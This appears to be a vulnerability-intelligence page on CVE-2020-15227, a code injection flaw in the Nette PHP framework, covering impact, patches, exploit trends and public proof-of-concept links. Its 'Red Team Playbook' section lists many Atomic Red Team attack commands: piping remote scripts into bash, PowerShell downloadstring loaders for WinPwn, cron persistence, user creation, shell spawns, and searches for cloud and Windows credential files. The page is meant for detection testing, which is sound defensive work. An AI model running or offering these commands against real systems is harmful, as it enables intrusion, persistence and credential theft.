CVE-2020-15227
Overview
This vulnerability is a code injection flaw rooted in insufficient input validation within the Nette application framework. Specifically, the framework's URL parameter handling mechanism fails to properly sanitize specially crafted inputs, allowing malicious code to be injected and executed. The affected component is the parameter parsing logic in various versions of the Nette PHP/Composer MVC Framework prior to specified patch levels.
Vulnerability Description
Nette versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, 3.0.6 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE. Nette is a PHP/Composer MVC Framework.
Impact
An unauthenticated attacker with network access can exploit this vulnerability by sending crafted HTTP requests containing malicious URL parameters to the affected Nette application. Successful exploitation results in arbitrary code execution within the context of the web server, enabling control over the affected system. This can lead to unauthorized data access, system compromise, and lateral movement within the network. The CVSS vector indicates no privileges or user interaction are required (AV:N/AC:H/PR:N/UI:N), but the attack complexity is high due to the need for precise parameter crafting.
Solution
Users should upgrade the Nette application package to versions 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, or 3.0.6 or later, as detailed in the official GitHub security advisory GHSA-8gv3-3j7f-wg94. These versions contain patches that properly sanitize URL parameters to mitigate code injection. Refer to the advisory at https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94 for comprehensive patch instructions and version-specific details.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to a critical code injection flaw found in specific versions of the Nette PHP/Composer MVC Framework. This issue arises from improper handling of user-supplied input, particularly when specially crafted parameters are passed through URLs. The lack of adequate input validation allows an attacker to manipulate the application’s behavior, potentially leading to remote code execution (RCE). This flaw is particularly concerning as it can be exploited without requiring authentication, making it accessible to unauthenticated users who can send malicious requests to the affected applications.
Attack vectors for this vulnerability are varied, but they primarily involve sending specially crafted HTTP requests to the application. An attacker could exploit this flaw by embedding malicious code within the parameters of a URL, which the application may inadvertently execute. For instance, an attacker could craft a request that alters the execution flow of the application, leading to the execution of arbitrary PHP code on the server. This could result in unauthorized access to sensitive data, manipulation of application logic, or even full control over the server environment. The simplicity of this attack vector, combined with the high potential for impact, underscores the severity of the vulnerability.
The real-world implications of this vulnerability are significant, particularly for organizations that rely on the Nette framework for their web applications. Successful exploitation could lead to data breaches, loss of customer trust, and substantial financial repercussions. Businesses may face regulatory scrutiny and legal liabilities if sensitive information is compromised. Additionally, the operational impact could be severe, as attackers could deploy malware, disrupt services, or leverage the compromised environment for further attacks. The high CVSS score of 9.8 reflects the critical nature of this vulnerability, indicating that organizations must prioritize its remediation to safeguard their assets.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Nette framework to the latest versions is essential, as these updates contain patches that address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. Implementing robust input validation and sanitization practices is also crucial, ensuring that user inputs are properly handled and do not lead to code execution. Furthermore, conducting regular security assessments and penetration testing can help identify potential weaknesses in the application and verify the effectiveness of the implemented security measures.
In conclusion, the code injection vulnerability in the Nette framework poses a serious threat to organizations utilizing this technology. The potential for remote code execution, coupled with the ease of exploitation, necessitates immediate attention from security teams. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk exposure and protect their digital assets from malicious actors. The importance of maintaining up-to-date software and implementing strong security practices cannot be overstated in the current threat landscape.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2020-15227, with new telemetry indicating the emergence of initial activity after a period of dormancy. While the EPSS score has declined significantly, reflecting a reduced probability of widespread exploitation, the appearance of fresh proof-of-concept exploits on public repositories suggests that attacker interest remains present and could facilitate opportunistic targeting. This dynamic underscores a nuanced threat environment where active exploitation is limited but the availability of functional exploits lowers the barrier for adversaries to initiate attacks. Consequently, defenders should remain vigilant as the risk posture shifts from latent to potential activation, particularly in environments where vulnerable Nette framework versions persist.
Update 2 — July 06, 2026
CSURFACE threat intelligence has identified a modest uptick in detection activity related to CVE-2020-15227, indicating a renewed but measured interest among threat actors in exploiting this critical vulnerability. Although the overall exploit trend remains stable, the slight increase in telemetry suggests that adversaries may be probing for susceptible Nette framework instances more actively than before. This development is significant because it reflects a subtle shift from latent to more opportunistic exploitation attempts, potentially increasing the risk for environments that have not yet applied the necessary patches. The persistence of publicly available proof-of-concept exploits continues to lower the barrier for less sophisticated attackers, which could lead to a broader attack surface if defensive postures are not maintained. Consequently, while the immediate threat level remains moderate, the observed activity warrants continued vigilance as the potential for escalation remains present.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Nette | Application | All |
cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
|
|
|
Nette | Application | All |
cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
|
|
|
Nette | Application | All |
cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
|
|
|
Nette | Application | All |
cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
|
|
|
Nette | Application | All |
cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
|
|
|
Nette | Application | All |
cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 9.0 |
cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
hu4wufu/CVE-2020-15227
CVE-2020-15227 exploit
|
hu4wufu | 20 | 5 | 2020-10-10 | View |
|
Langriklol/CVE-2020-15227
CVE-2020-15227 exploit
|
Langriklol | 1 | 1 | 2020-10-09 | View |
|
filipsedivy/CVE-2020-15227
CVE-2020-15227 checker
|
filipsedivy | 1 | 1 | 2020-11-15 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-15227 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94 |
| packagist.org |
GitHub CVE
x_refsource_MISC
|
https://packagist.org/packages/nette/application |
| packagist.org |
GitHub CVE
x_refsource_MISC
|
https://packagist.org/packages/nette/nette |
| lists.debian.org |
GitHub CVE
mailing-list
x_refsource_MLIST
|
https://lists.debian.org/debian-lts-announce/2021/04/msg00003.html |